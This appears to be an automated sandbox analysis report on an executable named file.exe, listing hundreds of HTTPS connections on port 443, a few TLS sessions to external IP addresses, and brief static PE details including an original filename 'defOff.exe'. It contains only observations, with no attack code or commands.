Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49672
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63287 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50103 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50088 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50099 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50100 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50098
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50097
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50099
Source: unknown	Network traffic detected: HTTP traffic on port 50075 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63287
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.4:49862 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49869 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: file.exe	Binary or memory string: OriginalFilename vs file.exe
Source: file.exe, 00000000.00000003.2056492803.0000000006146000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
